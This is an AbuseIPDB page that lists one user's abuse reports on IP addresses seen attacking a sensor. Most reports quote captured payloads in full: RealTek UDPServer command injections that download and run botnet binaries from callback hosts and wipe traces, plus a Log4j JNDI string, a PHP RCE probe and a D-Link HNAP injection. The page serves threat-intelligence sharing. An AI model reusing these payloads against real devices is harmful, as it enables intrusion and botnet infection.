AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User HarbertsT joined AbuseIPDB in November 2022 and has reported 299 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇳🇱 45.128.232.144	03 Apr 2023	Source IP address in udp/9034 RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf m ... show more Source IP address in udp/9034 RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://47.87.131.128/snype.mpsl; chmod +x snype.mpsl; ./snype.mpsl rt.mpsl; show less	Hacking Web App Attack
🇸🇬 139.162.61.24	03 Apr 2023	Callback IP address in udp/9034 RealTek UDPServer command injection attempt orf; cd /tmp ... show more Callback IP address in udp/9034 RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://139.162.61.24(LINODE-NETHERLANDS)/Linuxmpsl; chmod +x Linuxmpsl; ./Linuxmpsl Kernelpayload; show less	Hacking Web App Attack
🇬🇧 176.58.98.116	03 Apr 2023	Source IP address in udp/9034 RealTek UDPServer command injection attempt orf; cd /tmp; ... show more Source IP address in udp/9034 RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://139.162.61.24(LINODE-NETHERLANDS)/Linuxmpsl; chmod +x Linuxmpsl; ./Linuxmpsl Kernelpayload; show less	Hacking Web App Attack
🇫🇷 37.44.238.196	03 Apr 2023	Source IP address in udp/9034 RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf ... show more Source IP address in udp/9034 RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf *; wget http://31.214.243.39(GERMANY)/sh; chmod 777 sh; chmod +x sh; /sh; show less	Hacking Web App Attack
🇩🇪 31.214.243.39	03 Apr 2023	Callback IP in UDPServer command injection attempt orf; cd /tmp; rm -rf ; wget http://31.21 ... show more Callback IP in UDPServer command injection attempt orf; cd /tmp; rm -rf ; wget http://31.214.243.39(GERMANY)/sh; chmod 777 sh; chmod +x sh; /sh; show less	Hacking Web App Attack
🇺🇸 163.123.142.170	03 Apr 2023	udp/9034 - RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf mpsl; /bin/busyb ... show more udp/9034 - RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://163.123.142.170(USA)/Pandoras_Box/pandora.mpsl; chmod +x pandora.mpsl; ./pandora.mpsl nekobot; show less	Hacking Web App Attack
🇮🇪 3.249.91.140	03 Apr 2023	2023-04-02 01:28:43 3.249.91.140(USA - AWS) udp/9034 - RealTek UDPServer command injection attemp ... show more 2023-04-02 01:28:43 3.249.91.140(USA - AWS) udp/9034 - RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://163.123.142.170(USA)/Pandoras_Box/pandora.mpsl; chmod +x pandora.mpsl; ./pandora.mpsl nekobot; show less	Hacking Web App Attack
🇺🇸 45.154.3.16	31 Mar 2023	Russian callback IP address in udp/9034 injection orf; cd /tmp; rm -rf mpsl; /bin/busybox wget ... show more Russian callback IP address in udp/9034 injection orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://45.154.3.16/jack5tr.sh; curl -O http://45.154.3.16/jack5tr.sh; chmod 777 jack5tr.sh; sh jack5tr.sh; tftp 45.154.3.16 -c get jack5tr.sh; chmod 777 jack5tr.sh; sh jack5tr.sh; show less	Hacking Web App Attack
🇺🇸 45.61.185.107	31 Mar 2023	udp/9034 RealTek UDPServer command injection attempt Injection callback IP is Russian orf; cd /tm ... show more udp/9034 RealTek UDPServer command injection attempt Injection callback IP is Russian orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://45.154.3.16/jack5tr.sh; curl -O http://45.154.3.16/jack5tr.sh; chmod 777 jack5tr.sh; sh jack5tr.sh; tftp 45.154.3.16 -c get jack5tr.sh; chmod 777 jack5tr.sh; sh jack5tr.sh; show less	Hacking Web App Attack
🇺🇸 212.87.204.244	29 Mar 2023	udp/9034 RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf mpsl; /bin/busybox w ... show more udp/9034 RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://45.95.55.152(GERMANY)/onryo.mpsl; chmod +x onryo.mpsl; ./onryo.mpsl w00dybotz show less	Hacking Web App Attack
🇺🇸 212.87.204.244	28 Mar 2023	udp/9034 RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf mpsl; /bin/busybox w ... show more udp/9034 RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://212.87.204.244(SAME IP)/b.sh; chmod +x b.sh; ./b.sh; show less	Hacking Web App Attack
🇩🇪 45.131.111.242	28 Mar 2023	udp/9034 RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf mpsl; /bin/busybox wge ... show more udp/9034 RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://45.95.55.155/b.sh; chmod +x b.sh; ./b.sh; show less	Hacking Web App Attack
🇺🇸 44.210.144.173	28 Mar 2023	tcp/80 (http) - PHP remote code execution attempt <?php echo 'RCE_VULN\|'; echo php_uname( ... show more tcp/80 (http) - PHP remote code execution attempt <?php echo 'RCE_VULN\|'; echo php_uname();?> show less	Hacking Web App Attack
🇺🇸 45.154.3.16	28 Mar 2023	Russian Callback IP udp/9034 - RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf ... show more Russian Callback IP udp/9034 - RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://45.154.3.16(RUSSIA)/jack5tr.sh; curl -O http://45.154.3.16/jack5tr.sh; chmod 777 jack5tr.sh; sh jack5tr.sh show less	Hacking Web App Attack
🇺🇸 138.128.247.175	28 Mar 2023	udp/9034 - RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf mpsl; /bin/busybox ... show more udp/9034 - RealTek UDPServer command injection attempt orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://45.154.3.16(RUSSIA)/jack5tr.sh; curl -O http://45.154.3.16/jack5tr.sh; (RUSSIA) chmod 777 jack5tr.sh; sh jack5tr.sh show less	Hacking Web App Attack
🇱🇺 107.189.4.234	23 Mar 2023	Apache Log4j logging remote code execution attempt Source: 45.145.248.35 tcp/80 t('${${env ... show more Apache Log4j logging remote code execution attempt Source: 45.145.248.35 tcp/80 t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//107.189.4.234:1389/TomcatBypass/Command/Base64/d2dldC Callback: 107.189.4.234 (LUXEMBOURG) show less	Hacking Web App Attack
🇧🇷 45.145.248.35	23 Mar 2023	----------------------------------------------------------- Apache Log4j logging remote code exec ... show more ----------------------------------------------------------- Apache Log4j logging remote code execution attempt Source: 45.145.248.35 tcp/80 t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//107.189.4.234:1389/TomcatBypass/Command/Base64/d2dldC Callback: 107.189.4.234 (LUXEMBOURG) ----------------------------------------------------------- show less	Hacking Web App Attack
🇺🇸 192.161.55.20	23 Mar 2023	RealTek UDPServer command injection attempt Source: 104.129.63.114 upd/9034 orf; cd /tmp; rm ... show more RealTek UDPServer command injection attempt Source: 104.129.63.114 upd/9034 orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://192.161.55.20/MipsLinuxTF; chmod +x MipsLinuxTF; ./MipsLinuxTF rt.mpsl; Callback: 192.161.55.20 (USA) show less	Hacking Web App Attack
🇺🇸 104.129.63.114	23 Mar 2023	RealTek UDPServer command injection attempt Source: 104.129.63.114 upd/9034 orf; cd /tmp; rm ... show more RealTek UDPServer command injection attempt Source: 104.129.63.114 upd/9034 orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://192.161.55.20/MipsLinuxTF; chmod +x MipsLinuxTF; ./MipsLinuxTF rt.mpsl; Callback: 192.161.55.20 (USA) show less	Hacking Web App Attack
🇧🇬 84.54.50.170	23 Mar 2023	RealTek UDPServer command injection attempt Source: 84.54.50.228 upd/9034 orf; cd /tmp \|\| cd /v ... show more RealTek UDPServer command injection attempt Source: 84.54.50.228 upd/9034 orf; cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd /; wget http://84.54.50.170/N3twork.sh; chmod 777 N3twork.sh; sh N3twork.sh; tftp 84.54.50.170 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 84.54.50.170; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 84.54.50.170 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf N3twork.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; history -c; Callback: 84.54.50.170 (BULGARIA) show less	Hacking Web App Attack
🇺🇸 45.154.3.16	23 Mar 2023	RealTek UDPServer command injection attempt Source: 192.227.146.240 upd/9034 orf; cd /tmp; rm ... show more RealTek UDPServer command injection attempt Source: 192.227.146.240 upd/9034 orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://45.154.3.16/mpsl; chmod +x ./mpsl; ./mpsl adolf; Callback: 45.154.3.16 (RUSSIA) show less	Hacking Web App Attack
🇺🇸 192.227.146.240	23 Mar 2023	RealTek UDPServer command injection attempt Source: 192.227.146.240 upd/9034 orf; cd /tmp; rm ... show more RealTek UDPServer command injection attempt Source: 192.227.146.240 upd/9034 orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://45.154.3.16/mpsl; chmod +x ./mpsl; ./mpsl adolf; Callback: 45.154.3.16 show less	Hacking Web App Attack
🇺🇸 195.178.120.44	23 Mar 2023	Source: 195.178.120.44 tcp/80 SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/` cd ... show more Source: 195.178.120.44 tcp/80 SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/` cd && cd tmp && export PATH=$PATH:. && cd /tmp; wget http://195.178.120.44/a/kfbi.sh; chmod 777 kfbi.sh; sh kfbi.sh selfrep.dlink; rm -rf kfbi.sh`" Callback1: purenetworks.com (does not resolve) Callback2: 195.178.120.44 (BULGARIA) show less	Hacking Web App Attack
🇺🇸 37.221.92.196	22 Mar 2023	RealTek UDPServer command injection attempt - 9034 / udp orf;cd /tmp; rm -rf mpsl; rm -rf mipsel; r ... show more RealTek UDPServer command injection attempt - 9034 / udp orf;cd /tmp; rm -rf mpsl; rm -rf mipsel; rm -rf mips; mkdir /tmp/nfzk; cd /tmp/nfzk; /bin/busybox wget http://206.217.205.24:54816/mipsel; /bin/busybox wget http://206.217.205.24:54816/mips; chmod +x mipsel; chmod +x mips; ./mipsel rt.mipsel; ./mipsel rt.mips; show less	Hacking Web App Attack
🇺🇸 206.217.205.24	22 Mar 2023	This IP address was used as a RealTek UDPServer command injection attempt call back ip in the inject ... show more This IP address was used as a RealTek UDPServer command injection attempt call back ip in the injection. /bin/busybox wget http://206.217.205.24:54816/mipsel; show less	Hacking Web App Attack